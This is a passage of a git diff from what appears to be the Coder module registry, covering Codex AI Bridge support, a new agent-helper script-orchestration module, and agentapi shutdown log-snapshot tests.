Override default configuration - base_config_toml = <<-EOT - sandbox_mode = "danger-full-access" - approval_policy = "never" - preferred_auth_method = "apikey" - EOT - - # Add extra MCP servers - additional_mcp_servers = <<-EOT - [mcp_servers.GitHub] - command = "npx" - args = ["-y", "@modelcontextprotocol/server-github"] - type = "stdio" - EOT -} -``` - > [!NOTE] > If no custom configuration is provided, the module uses secure defaults. The Coder MCP server is always included automatically. For containerized workspaces (Docker/Kubernetes), you may need `sandbox_mode = "danger-full-access"` to avoid permission issues. For advanced options, see [Codex config docs](https://github.com/openai/codex/blob/main/codex-rs/config.md). @@ -137,3 +181,4 @@ module "codex" { - [Codex CLI Documentation](https://github.com/openai/codex) - [AgentAPI Documentation](https://github.com/coder/agentapi) - [Coder AI Agents Guide](https://coder.com/docs/tutorials/ai-agents) +- [AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) diff --git a/registry/coder-labs/modules/codex/main.test.ts b/registry/coder-labs/modules/codex/main.test.ts index 2041e36e..a4edd818 100644 --- a/registry/coder-labs/modules/codex/main.test.ts +++ b/registry/coder-labs/modules/codex/main.test.ts @@ -113,7 +113,7 @@ describe("codex", async () => { sandbox_mode = "danger-full-access" approval_policy = "never" preferred_auth_method = "apikey" - + [custom_section] new_feature = true `.trim(); @@ -189,7 +189,7 @@ describe("codex", async () => { args = ["-y", "@modelcontextprotocol/server-github"] type = "stdio" description = "GitHub integration" - + [mcp_servers.FileSystem] command = "npx" args = ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"] @@ -215,7 +215,7 @@ describe("codex", async () => { approval_policy = "untrusted" preferred_auth_method = "chatgpt" custom_setting = "test-value" - + [advanced_settings] timeout = 30000 debug = true @@ -228,7 +228,7 @@ describe("codex", async () => { args = ["--serve", "--port", "8080"] type = "stdio" description = "Custom development tool" - + [mcp_servers.DatabaseMCP] command = "python" args = ["-m", "database_mcp_server"] @@ -454,4 +454,32 @@ describe("codex", async () => { ); expect(startLog.stdout).not.toContain("test prompt"); }); + + test("codex-with-aibridge", async () => { + const { id } = await setup({ + moduleVariables: { + enable_aibridge: "true", + model_reasoning_effort: "none", + }, + }); + + await execModuleScript(id); + + const startLog = await readFileContainer( + id, + "/home/coder/.codex-module/agentapi-start.log", + ); + + const configToml = await readFileContainer( + id, + "/home/coder/.codex/config.toml", + ); + expect(startLog).toContain("AI Bridge is enabled, using profile aibridge"); + expect(startLog).toContain( + "Starting Codex with arguments: --profile aibridge", + ); + expect(configToml).toContain( + "[profiles.aibridge]\n" + 'model_provider = "aibridge"', + ); + }); }); diff --git a/registry/coder-labs/modules/codex/main.tf b/registry/coder-labs/modules/codex/main.tf index 20351839..cc07ce2f 100644 --- a/registry/coder-labs/modules/codex/main.tf +++ b/registry/coder-labs/modules/codex/main.tf @@ -1,5 +1,5 @@ terraform { - required_version = ">= 1.0" + required_version = ">= 1.9" required_providers { coder = { @@ -71,6 +71,27 @@ variable "cli_app_display_name" { default = "Codex CLI" } +variable "enable_aibridge" { + type = bool + description = "Use AI Bridge for Codex. https://coder.com/docs/ai-coder/ai-bridge" + default = false + + validation { + condition = !(var.enable_aibridge && length(var.openai_api_key) > 0) + error_message = "openai_api_key cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials." + } +} + +variable "model_reasoning_effort" { + type = string + description = "The reasoning effort for the AI Bridge model. One of: none, low, medium, high. https://platform.openai.com/docs/guides/latest-model#lower-reasoning-effort" + default = "medium" + validation { + condition = contains(["none", "low", "medium", "high"], var.model_reasoning_effort) + error_message = "model_reasoning_effort must be one of: none, low, medium, high." + } +} + variable "install_codex" { type = bool description = "Whether to install Codex." @@ -110,13 +131,13 @@ variable "install_agentapi" { variable "agentapi_version" { type = string description = "The version of AgentAPI to install." - default = "v0.11.6" + default = "v0.11.8" } variable "codex_model" { type = string - description = "The model for Codex to use. Defaults to gpt-5.1-codex-max." - default = "" + description = "The model for Codex to use. Defaults to gpt-5.2-codex." + default = "gpt-5.2-codex" } variable "pre_install_script" { @@ -155,12 +176,31 @@ resource "coder_env" "openai_api_key" { value = var.openai_api_key } +resource "coder_env" "coder_aibridge_session_token" { + count = var.enable_aibridge ? 1 : 0 + agent_id = var.agent_id + name = "CODER_AIBRIDGE_SESSION_TOKEN" + value = data.coder_workspace_owner.me.session_token +} + locals { workdir = trimsuffix(var.workdir, "/") app_slug = "codex" install_script = file("${path.module}/scripts/install.sh") start_script = file("${path.module}/scripts/start.sh") module_dir_name = ".codex-module" + aibridge_config = <<-EOF + [model_providers.aibridge] + name = "AI Bridge" + base_url = "${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1" + env_key = "CODER_AIBRIDGE_SESSION_TOKEN" + wire_api = "responses" + + [profiles.aibridge] + model_provider = "aibridge" + model = "${var.codex_model}" + model_reasoning_effort = "${var.model_reasoning_effort}" + EOF } module "agentapi" { @@ -196,6 +236,7 @@ module "agentapi" { ARG_CODEX_START_DIRECTORY='${local.workdir}' \ ARG_CODEX_TASK_PROMPT='${base64encode(var.ai_prompt)}' \ ARG_CONTINUE='${var.continue}' \ + ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \ /tmp/start.sh EOT @@ -211,6 +252,8 @@ module "agentapi" { ARG_INSTALL='${var.install_codex}' \ ARG_CODEX_VERSION='${var.codex_version}' \ ARG_BASE_CONFIG_TOML='${base64encode(var.base_config_toml)}' \ + ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \ + ARG_AIBRIDGE_CONFIG='${base64encode(var.enable_aibridge ? local.aibridge_config : "")}' \ ARG_ADDITIONAL_MCP_SERVERS='${base64encode(var.additional_mcp_servers)}' \ ARG_CODER_MCP_APP_STATUS_SLUG='${local.app_slug}' \ ARG_CODEX_START_DIRECTORY='${local.workdir}' \ diff --git a/registry/coder-labs/modules/codex/scripts/install.sh b/registry/coder-labs/modules/codex/scripts/install.sh index 62842165..97d539a8 100644 --- a/registry/coder-labs/modules/codex/scripts/install.sh +++ b/registry/coder-labs/modules/codex/scripts/install.sh @@ -13,6 +13,8 @@ set -o nounset ARG_BASE_CONFIG_TOML=$(echo -n "$ARG_BASE_CONFIG_TOML" | base64 -d) ARG_ADDITIONAL_MCP_SERVERS=$(echo -n "$ARG_ADDITIONAL_MCP_SERVERS" | base64 -d) ARG_CODEX_INSTRUCTION_PROMPT=$(echo -n "$ARG_CODEX_INSTRUCTION_PROMPT" | base64 -d) +ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false} +ARG_AIBRIDGE_CONFIG=$(echo -n "$ARG_AIBRIDGE_CONFIG" | base64 -d) echo "=== Codex Module Configuration ===" printf "Install Codex: %s\n" "$ARG_INSTALL" @@ -24,6 +26,7 @@ printf "Has Additional MCP: %s\n" "$([ -n "$ARG_ADDITIONAL_MCP_SERVERS" ] && ech printf "Has System Prompt: %s\n" "$([ -n "$ARG_CODEX_INSTRUCTION_PROMPT" ] && echo "Yes" || echo "No")" printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")" printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS" +printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE" echo "======================================" set +o nounset @@ -127,6 +130,15 @@ EOF fi } +append_aibridge_config_section() { + local config_path="$1" + + if [ -n "$ARG_AIBRIDGE_CONFIG" ]; then + printf "Adding AI Bridge configuration\n" + echo -e "\n# AI Bridge Configuration\n$ARG_AIBRIDGE_CONFIG" >> "$config_path" + fi +} + function populate_config_toml() { CONFIG_PATH="$HOME/.codex/config.toml" mkdir -p "$(dirname "$CONFIG_PATH")" @@ -140,6 +152,11 @@ function populate_config_toml() { fi append_mcp_servers_section "$CONFIG_PATH" + + if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then + printf "AI Bridge is enabled\n" + append_aibridge_config_section "$CONFIG_PATH" + fi } function add_instruction_prompt_if_exists() { @@ -185,4 +202,7 @@ install_codex codex --version populate_config_toml add_instruction_prompt_if_exists -add_auth_json + +if [ "$ARG_ENABLE_AIBRIDGE" = "false" ]; then + add_auth_json +fi diff --git a/registry/coder-labs/modules/codex/scripts/start.sh b/registry/coder-labs/modules/codex/scripts/start.sh index e77436f1..3e55dc70 100644 --- a/registry/coder-labs/modules/codex/scripts/start.sh +++ b/registry/coder-labs/modules/codex/scripts/start.sh @@ -18,6 +18,7 @@ printf "Version: %s\n" "$(codex --version)" set -o nounset ARG_CODEX_TASK_PROMPT=$(echo -n "$ARG_CODEX_TASK_PROMPT" | base64 -d) ARG_CONTINUE=${ARG_CONTINUE:-true} +ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false} echo "=== Codex Launch Configuration ===" printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")" @@ -26,6 +27,7 @@ printf "Start Directory: %s\n" "$ARG_CODEX_START_DIRECTORY" printf "Has Task Prompt: %s\n" "$([ -n "$ARG_CODEX_TASK_PROMPT" ] && echo "Yes" || echo "No")" printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS" printf "Continue Sessions: %s\n" "$ARG_CONTINUE" +printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE" echo "======================================" set +o nounset @@ -153,7 +155,10 @@ setup_workdir() { build_codex_args() { CODEX_ARGS=() - if [ -n "$ARG_CODEX_MODEL" ]; then + if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then + printf "AI Bridge is enabled, using profile aibridge\n" + CODEX_ARGS+=("--profile" "aibridge") + elif [ -n "$ARG_CODEX_MODEL" ]; then CODEX_ARGS+=("--model" "$ARG_CODEX_MODEL") fi diff --git a/registry/coder-labs/modules/nextflow/README.md b/registry/coder-labs/modules/nextflow/README.md index 7e6911dc..adefa645 100644 --- a/registry/coder-labs/modules/nextflow/README.md +++ b/registry/coder-labs/modules/nextflow/README.md @@ -10,8 +10,6 @@ tags: [nextflow, workflow, hpc, bioinformatics] A module that adds Nextflow to your Coder template. -![Nextflow](../../.images/nextflow.png) - ```tf module "nextflow" { count = data.coder_workspace.me.start_count diff --git a/registry/coder/modules/agent-helper/README.md b/registry/coder/modules/agent-helper/README.md new file mode 100644 index 00000000..62eb3573 --- /dev/null +++ b/registry/coder/modules/agent-helper/README.md @@ -0,0 +1,65 @@ +--- +display_name: Agent Helper +description: Building block for modules that need orchestrated script execution +icon: ../../../../.icons/coder.svg +verified: false +tags: [internal, library] +--- + +# Agent Helper + +> [!CAUTION] +> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution. + +The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts. + +> [!NOTE] +> +> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together. + +```tf +module "agent_helper" { + source = "registry.coder.com/coder/agent-helper/coder" + version = "1.0.0" + + agent_id = coder_agent.main.id + agent_name = "myagent" + module_dir_name = ".my-module" + + pre_install_script = <<-EOT + #!/bin/bash + echo "Running pre-install tasks..." + # Your pre-install logic here + EOT + + install_script = <<-EOT + #!/bin/bash + echo "Installing dependencies..." + # Your install logic here + EOT + + post_install_script = <<-EOT + #!/bin/bash + echo "Running post-install configuration..." + # Your post-install logic here + EOT + + start_script = <<-EOT + #!/bin/bash + echo "Starting the application..." + # Your start logic here + EOT +} +``` + +## Execution Order + +The module orchestrates scripts in the following order: + +1. **Log File Creation** - Creates module directory and log files +2. **Pre-Install Script** (optional) - Runs before installation +3. **Install Script** - Main installation +4. **Post-Install Script** (optional) - Runs after installation +5. **Start Script** - Starts the application + +Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management. diff --git a/registry/coder/modules/agent-helper/main.test.ts b/registry/coder/modules/agent-helper/main.test.ts new file mode 100644 index 00000000..6c132589 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.test.ts @@ -0,0 +1,13 @@ +import { describe } from "bun:test"; +import { runTerraformInit, testRequiredVariables } from "~test"; + +describe("agent-helper", async () => { + await runTerraformInit(import.meta.dir); + + testRequiredVariables(import.meta.dir, { + agent_id: "test-agent-id", + agent_name: "test-agent", + module_dir_name: ".test-module", + start_script: "echo 'start'", + }); +}); diff --git a/registry/coder/modules/agent-helper/main.tf b/registry/coder/modules/agent-helper/main.tf new file mode 100644 index 00000000..cfb8b778 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.tf @@ -0,0 +1,190 @@ +terraform { + required_version = ">= 1.0" + + required_providers { + coder = { + source = "coder/coder" + version = ">= 2.13" + } + } +} + +variable "agent_id" { + type = string + description = "The ID of a Coder agent." +} + +data "coder_workspace" "me" {} + +data "coder_workspace_owner" "me" {} + +data "coder_task" "me" {} + +variable "pre_install_script" { + type = string + description = "Custom script to run before installing the agent used by AgentAPI." + default = null +} + +variable "install_script" { + type = string + description = "Script to install the agent used by AgentAPI." + default = null +} + +variable "post_install_script" { + type = string + description = "Custom script to run after installing the agent used by AgentAPI." + default = null +} + +variable "start_script" { + type = string + description = "Script that starts AgentAPI." +} + +variable "agent_name" { + type = string + description = "The name of the agent. This is used to construct unique script names for the experiment sync." + +} + +variable "module_dir_name" { + type = string + description = "The name of the module directory." +} + +locals { + encoded_pre_install_script = var.pre_install_script != null ? base64encode(var.pre_install_script) : "" + encoded_install_script = var.install_script != null ? base64encode(var.install_script) : "" + encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : "" + encoded_start_script = base64encode(var.start_script) + + pre_install_script_name = "${var.agent_name}-pre_install_script" + install_script_name = "${var.agent_name}-install_script" + post_install_script_name = "${var.agent_name}-post_install_script" + start_script_name = "${var.agent_name}-start_script" + + module_dir_path = "$HOME/${var.module_dir_name}" + + pre_install_path = "${local.module_dir_path}/pre_install.sh" + install_path = "${local.module_dir_path}/install.sh" + post_install_path = "${local.module_dir_path}/post_install.sh" + start_path = "${local.module_dir_path}/start.sh" + + pre_install_log_path = "${local.module_dir_path}/pre_install.log" + install_log_path = "${local.module_dir_path}/install.log" + post_install_log_path = "${local.module_dir_path}/post_install.log" + start_log_path = "${local.module_dir_path}/start.log" +} + +resource "coder_script" "pre_install_script" { + count = var.pre_install_script == null ? 0 : 1 + agent_id = var.agent_id + display_name = "Pre-Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + mkdir -p ${local.module_dir_path} + + trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT + coder exp sync start ${local.pre_install_script_name} + + echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path} + chmod +x ${local.pre_install_path} + + ${local.pre_install_path} > ${local.pre_install_log_path} 2>&1 + EOT +} + +resource "coder_script" "install_script" { + agent_id = var.agent_id + display_name = "Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + mkdir -p ${local.module_dir_path} + + trap 'coder exp sync complete ${local.install_script_name}' EXIT + %{if var.pre_install_script != null~} + coder exp sync want ${local.install_script_name} ${local.pre_install_script_name} + %{endif~} + coder exp sync start ${local.install_script_name} + echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path} + chmod +x ${local.install_path} + + ${local.install_path} > ${local.install_log_path} 2>&1 + EOT +} + +resource "coder_script" "post_install_script" { + count = var.post_install_script != null ? 1 : 0 + agent_id = var.agent_id + display_name = "Post-Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + trap 'coder exp sync complete ${local.post_install_script_name}' EXIT + coder exp sync want ${local.post_install_script_name} ${local.install_script_name} + coder exp sync start ${local.post_install_script_name} + + echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path} + chmod +x ${local.post_install_path} + + ${local.post_install_path} > ${local.post_install_log_path} 2>&1 + EOT +} + +resource "coder_script" "start_script" { + agent_id = var.agent_id + display_name = "Start Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + trap 'coder exp sync complete ${local.start_script_name}' EXIT + + %{if var.post_install_script != null~} + coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name} + %{else~} + coder exp sync want ${local.start_script_name} ${local.install_script_name} + %{endif~} + coder exp sync start ${local.start_script_name} + + echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path} + chmod +x ${local.start_path} + + ${local.start_path} > ${local.start_log_path} 2>&1 + EOT +} + +output "pre_install_script_name" { + description = "The name of the pre-install script for sync." + value = local.pre_install_script_name +} + +output "install_script_name" { + description = "The name of the install script for sync." + value = local.install_script_name +} + +output "post_install_script_name" { + description = "The name of the post-install script for sync." + value = local.post_install_script_name +} + +output "start_script_name" { + description = "The name of the start script for sync." + value = local.start_script_name +} \ No newline at end of file diff --git a/registry/coder/modules/agent-helper/main.tftest.hcl b/registry/coder/modules/agent-helper/main.tftest.hcl new file mode 100644 index 00000000..91546fb0 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.tftest.hcl @@ -0,0 +1,271 @@ +# Test for agent-helper module + +# Test with all scripts provided +run "test_with_all_scripts" { + command = plan + + variables { + agent_id = "test-agent-id" + agent_name = "test-agent" + module_dir_name = ".test-module" + pre_install_script = "echo 'pre-install'" + install_script = "echo 'install'" + post_install_script = "echo 'post-install'" + start_script = "echo 'start'" + } + + # Verify pre_install_script is created when provided + assert { + condition = length(coder_script.pre_install_script) == 1 + error_message = "Pre-install script should be created when pre_install_script is provided" + } + + assert { + condition = coder_script.pre_install_script[0].agent_id == "test-agent-id" + error_message = "Pre-install script agent ID should match input" + } + + assert { + condition = coder_script.pre_install_script[0].display_name == "Pre-Install Script" + error_message = "Pre-install script should have correct display name" + } + + assert { + condition = coder_script.pre_install_script[0].run_on_start == true + error_message = "Pre-install script should run on start" + } + + # Verify install_script is created + assert { + condition = coder_script.install_script.agent_id == "test-agent-id" + error_message = "Install script agent ID should match input" + } + + assert { + condition = coder_script.install_script.display_name == "Install Script" + error_message = "Install script should have correct display name" + } + + assert { + condition = coder_script.install_script.run_on_start == true + error_message = "Install script should run on start" + } + + # Verify post_install_script is created when provided + assert { + condition = length(coder_script.post_install_script) == 1 + error_message = "Post-install script should be created when post_install_script is provided" + } + + assert { + condition = coder_script.post_install_script[0].agent_id == "test-agent-id" + error_message = "Post-install script agent ID should match input" + } + + assert { + condition = coder_script.post_install_script[0].display_name == "Post-Install Script" + error_message = "Post-install script should have correct display name" + } + + assert { + condition = coder_script.post_install_script[0].run_on_start == true + error_message = "Post-install script should run on start" + } + + # Verify start_script is created + assert { + condition = coder_script.start_script.agent_id == "test-agent-id" + error_message = "Start script agent ID should match input" + } + + assert { + condition = coder_script.start_script.display_name == "Start Script" + error_message = "Start script should have correct display name" + } + + assert { + condition = coder_script.start_script.run_on_start == true + error_message = "Start script should run on start" + } + + # Verify outputs for script names + assert { + condition = output.pre_install_script_name == "test-agent-pre_install_script" + error_message = "Pre-install script name output should be correctly formatted" + } + + assert { + condition = output.install_script_name == "test-agent-install_script" + error_message = "Install script name output should be correctly formatted" + } + + assert { + condition = output.post_install_script_name == "test-agent-post_install_script" + error_message = "Post-install script name output should be correctly formatted" + } + + assert { + condition = output.start_script_name == "test-agent-start_script" + error_message = "Start script name output should be correctly formatted" + } +} + +# Test with only required scripts (no pre/post install) +run "test_without_optional_scripts" { + command = plan + + variables { + agent_id = "test-agent-id" + agent_name = "test-agent" + module_dir_name = ".test-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Verify pre_install_script is NOT created when not provided + assert { + condition = length(coder_script.pre_install_script) == 0 + error_message = "Pre-install script should not be created when pre_install_script is null" + } + + # Verify post_install_script is NOT created when not provided + assert { + condition = length(coder_script.post_install_script) == 0 + error_message = "Post-install script should not be created when post_install_script is null" + } + + # Verify required scripts are still created + assert { + condition = coder_script.install_script.agent_id == "test-agent-id" + error_message = "Install script should be created" + } + + assert { + condition = coder_script.start_script.agent_id == "test-agent-id" + error_message = "Start script should be created" + } + + # Verify outputs + assert { + condition = output.pre_install_script_name == "test-agent-pre_install_script" + error_message = "Pre-install script name output should be generated even when script is not created" + } + + assert { + condition = output.install_script_name == "test-agent-install_script" + error_message = "Install script name output should be correctly formatted" + } + + assert { + condition = output.post_install_script_name == "test-agent-post_install_script" + error_message = "Post-install script name output should be generated even when script is not created" + } + + assert { + condition = output.start_script_name == "test-agent-start_script" + error_message = "Start script name output should be correctly formatted" + } +} + +# Test with mock data sources +run "test_with_mock_data" { + command = plan + + variables { + agent_id = "mock-agent" + agent_name = "mock-agent" + module_dir_name = ".mock-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Mock the data sources for testing + override_data { + target = data.coder_workspace.me + values = { + id = "test-workspace-id" + name = "test-workspace" + owner = "test-owner" + owner_id = "test-owner-id" + template_id = "test-template-id" + template_name = "test-template" + access_url = "https://coder.example.com" + start_count = 1 + transition = "start" + } + } + + override_data { + target = data.coder_workspace_owner.me + values = { + id = "test-owner-id" + email = "test@example.com" + name = "Test User" + session_token = "mock-token" + } + } + + override_data { + target = data.coder_task.me + values = { + id = "test-task-id" + } + } + + # Verify scripts are created with mocked data + assert { + condition = coder_script.install_script.agent_id == "mock-agent" + error_message = "Install script should use the mocked agent ID" + } + + assert { + condition = coder_script.start_script.agent_id == "mock-agent" + error_message = "Start script should use the mocked agent ID" + } +} + +# Test script naming with custom agent_name +run "test_script_naming" { + command = plan + + variables { + agent_id = "test-agent" + agent_name = "custom-name" + module_dir_name = ".test-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Verify script names are constructed correctly + # The script should contain references to custom-name-* in the sync commands + assert { + condition = can(regex("custom-name-install_script", coder_script.install_script.script)) + error_message = "Install script should use custom agent_name in sync commands" + } + + assert { + condition = can(regex("custom-name-start_script", coder_script.start_script.script)) + error_message = "Start script should use custom agent_name in sync commands" + } + + # Verify outputs use custom agent_name + assert { + condition = output.pre_install_script_name == "custom-name-pre_install_script" + error_message = "Pre-install script name output should use custom agent_name" + } + + assert { + condition = output.install_script_name == "custom-name-install_script" + error_message = "Install script name output should use custom agent_name" + } + + assert { + condition = output.post_install_script_name == "custom-name-post_install_script" + error_message = "Post-install script name output should use custom agent_name" + } + + assert { + condition = output.start_script_name == "custom-name-start_script" + error_message = "Start script name output should use custom agent_name" + } +} diff --git a/registry/coder/modules/agentapi/README.md b/registry/coder/modules/agentapi/README.md index 954db1ce..e7a9869f 100644 --- a/registry/coder/modules/agentapi/README.md +++ b/registry/coder/modules/agentapi/README.md @@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI ```tf module "agentapi" { source = "registry.coder.com/coder/agentapi/coder" - version = "2.0.0" + version = "2.1.1" agent_id = var.agent_id web_app_slug = local.app_slug @@ -49,6 +49,19 @@ module "agentapi" { } ``` +## Task log snapshot + +Captures the last 10 messages from AgentAPI when a task workspace stops. This allows viewing conversation history while the task is paused. + +To enable for task workspaces: + +```tf +module "agentapi" { + # ... other config + task_log_snapshot = true # default: true +} +``` + ## For module developers For a complete example of how to use this module, see the [Goose module](https://github.com/coder/registry/blob/main/registry/coder/modules/goose/main.tf). diff --git a/registry/coder/modules/agentapi/main.test.ts b/registry/coder/modules/agentapi/main.test.ts index 713335fd..20b47b1a 100644 --- a/registry/coder/modules/agentapi/main.test.ts +++ b/registry/coder/modules/agentapi/main.test.ts @@ -257,4 +257,157 @@ describe("agentapi", async () => { ); expect(agentApiStartLog).toContain("AGENTAPI_ALLOWED_HOSTS: *"); }); + + describe("shutdown script", async () => { + const setupMocks = async ( + containerId: string, + agentapiPreset: string, + httpCode: number = 204, + ) => { + const agentapiMock = await loadTestFile( + import.meta.dir, + "agentapi-mock-shutdown.js", + ); + const coderMock = await loadTestFile( + import.meta.dir, + "coder-instance-mock.js", + ); + + await writeExecutable({ + containerId, + filePath: "/usr/local/bin/mock-agentapi", + content: agentapiMock, + }); + + await writeExecutable({ + containerId, + filePath: "/usr/local/bin/mock-coder", + content: coderMock, + }); + + await execContainer(containerId, [ + "bash", + "-c", + `PRESET=${agentapiPreset} nohup node /usr/local/bin/mock-agentapi 3284 > /tmp/mock-agentapi.log 2>&1 &`, + ]); + + await execContainer(containerId, [ + "bash", + "-c", + `HTTP_CODE=${httpCode} nohup node /usr/local/bin/mock-coder 18080 > /tmp/mock-coder.log 2>&1 &`, + ]); + + await new Promise((resolve) => setTimeout(resolve, 1000)); + }; + + const runShutdownScript = async ( + containerId: string, + taskId: string = "test-task", + ) => { + const shutdownScript = await loadTestFile( + import.meta.dir, + "../scripts/agentapi-shutdown.sh", + ); + + await writeExecutable({ + containerId, + filePath: "/tmp/shutdown.sh", + content: shutdownScript, + }); + + return await execContainer(containerId, [ + "bash", + "-c", + `ARG_TASK_ID=${taskId} ARG_AGENTAPI_PORT=3284 CODER_AGENT_URL=http://localhost:18080 CODER_AGENT_TOKEN=test-token /tmp/shutdown.sh`, + ]); + }; + + test("posts snapshot with normal messages", async () => { + const { id } = await setup({ + moduleVariables: {}, + skipAgentAPIMock: true, + }); + + await setupMocks(id, "normal"); + const result = await runShutdownScript(id); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain("Retrieved 5 messages for log snapshot"); + expect(result.stdout).toContain("Log snapshot posted successfully"); + + const posted = await readFileContainer(id, "/tmp/snapshot-posted.json"); + const snapshot = JSON.parse(posted); + expect(snapshot.task_id).toBe("test-task"); + expect(snapshot.payload.messages).toHaveLength(5); + expect(snapshot.payload.messages[0].content).toBe("Hello"); + expect(snapshot.payload.messages[4].content).toBe("Great"); + }); + + test("truncates to last 10 messages", async () => { + const { id } = await setup({ + moduleVariables: {}, + skipAgentAPIMock: true, + }); + + await setupMocks(id, "many"); + const result = await runShutdownScript(id); + + expect(result.exitCode).toBe(0); + + const posted = await readFileContainer(id, "/tmp/snapshot-posted.json"); + const snapshot = JSON.parse(posted); + expect(snapshot.task_id).toBe("test-task"); + expect(snapshot.payload.messages).toHaveLength(10); + expect(snapshot.payload.messages[0].content).toBe("Message 6"); + expect(snapshot.payload.messages[9].content).toBe("Message 15"); + }); + + test("truncates huge message content", async () => { + const { id } = await setup({ + moduleVariables: {}, + skipAgentAPIMock: true, + }); + + await setupMocks(id, "huge"); + const result = await runShutdownScript(id); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain("truncating final message content"); + + const posted = await readFileContainer(id, "/tmp/snapshot-posted.json"); + const snapshot = JSON.parse(posted); + expect(snapshot.task_id).toBe("test-task"); + expect(snapshot.payload.messages).toHaveLength(1); + expect(snapshot.payload.messages[0].content).toContain( + "[...content truncated", + ); + }); + + test("skips gracefully when TASK_ID is empty", async () => { + const { id } = await setup({ + moduleVariables: {}, + skipAgentAPIMock: true, + }); + + const result = await runShutdownScript(id, ""); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain("No task ID, skipping log snapshot"); + }); + + test("handles 404 gracefully for older Coder versions", async () => { + const { id } = await setup({ + moduleVariables: {}, + skipAgentAPIMock: true, + }); + + await setupMocks(id, "normal", 404); + const result = await runShutdownScript(id); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain( + "Log snapshot endpoint not supported by this Coder version", + ); + }); + }); }); diff --git a/registry/coder/modules/agentapi/main.tf b/registry/coder/modules/agentapi/main.tf index 5c3ab9c4..6914be77 100644 --- a/registry/coder/modules/agentapi/main.tf +++ b/registry/coder/modules/agentapi/main.tf @@ -4,7 +4,7 @@ terraform { required_providers { coder = { source = "coder/coder" - version = ">= 2.12" + version = ">= 2.13" } } } @@ -18,6 +18,8 @@ data "coder_workspace" "me" {} data "coder_workspace_owner" "me" {} +data "coder_task" "me" {} + variable "web_app_order" { type = number description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order)." @@ -126,6 +128,12 @@ variable "agentapi_port" { default = 3284 } +variable "task_log_snapshot" { + type = bool + description = "Capture last 10 messages when workspace stops for offline viewing while task is paused." + default = true +} + locals { # agentapi_subdomain_false_min_version_expr matches a semantic version >= v0.3.3. # Initial support was added in v0.3.1 but configuration via environment variable @@ -173,6 +181,7 @@ locals { // for backward compatibility. agentapi_chat_base_path = var.agentapi_subdomain ? "" : "/@${data.coder_workspace_owner.me.name}/${data.coder_workspace.me.name}.${var.agent_id}/apps/${var.web_app_slug}/chat" main_script = file("${path.module}/scripts/main.sh") + shutdown_script = file("${path.module}/scripts/agentapi-shutdown.sh") } resource "coder_script" "agentapi" { @@ -198,11 +207,32 @@ resource "coder_script" "agentapi" { ARG_POST_INSTALL_SCRIPT="$(echo -n '${local.encoded_post_install_script}' | base64 -d)" \ ARG_AGENTAPI_PORT='${var.agentapi_port}' \ ARG_AGENTAPI_CHAT_BASE_PATH='${local.agentapi_chat_base_path}' \ + ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \ + ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \ /tmp/main.sh EOT run_on_start = true } +resource "coder_script" "agentapi_shutdown" { + agent_id = var.agent_id + display_name = "AgentAPI Shutdown" + icon = var.web_app_icon + run_on_stop = true + script = <<-EOT + #!/bin/bash + set -o pipefail + + echo -n '${base64encode(local.shutdown_script)}' | base64 -d > /tmp/agentapi-shutdown.sh + chmod +x /tmp/agentapi-shutdown.sh + + ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \ + ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \ + ARG_AGENTAPI_PORT='${var.agentapi_port}' \ + /tmp/agentapi-shutdown.sh + EOT +} + resource "coder_app" "agentapi_web" { slug = var.web_app_slug display_name = var.web_app_display_name diff --git a/registry/coder/modules/agentapi/scripts/agentapi-shutdown.sh 